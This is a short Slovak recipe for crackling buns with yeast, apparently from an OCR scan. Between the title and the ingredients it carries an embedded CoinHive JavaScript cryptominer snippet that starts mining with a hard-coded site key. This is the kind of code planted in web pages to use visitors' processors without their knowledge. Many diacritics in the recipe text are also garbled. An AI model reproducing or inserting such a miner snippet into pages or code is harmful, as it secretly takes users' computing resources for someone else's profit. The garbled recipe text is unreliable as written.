Skvarkové buchtiéky podlia Mirky

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

Potrebujeme: 300g Nomix, 250 ml viaznej vody, 80 g mletych Skvariek, 12-14 g Cerstvého
drozdia (Fala alebo Vivo), 1/2 lyzi¢ky cukru, 1 polievkova lyzica olivového oleja, 1 lyzicka soli

Postup: Najprv vo vlaznej vode rozpustit drozdie s pol lyzickou cukru. Naliat to do misky s
mukou, solou a olivovym olejom. Dokladne premiesat, pridat pomleté skvarky, premieSat a
pomocou lyZice a lyzicky davat kopky do mafinovej formy (ak je silikbnova - netreba vymastit,
ak je plechova - radSej vymastit olejom). Képky potom namocéenymi prstami v studenej vode
uhladit, netreba sa s tym az tak prplat, ono to chyti svoj buchti¢kovy tvar aj pri kysnuti. Nechat
kysnut na teplom mieste 30 minat. Po vykysnuti potriet Zitkom, posypat rascou a piect vo
vyhriatej rare na 200°C cca 18 minut.




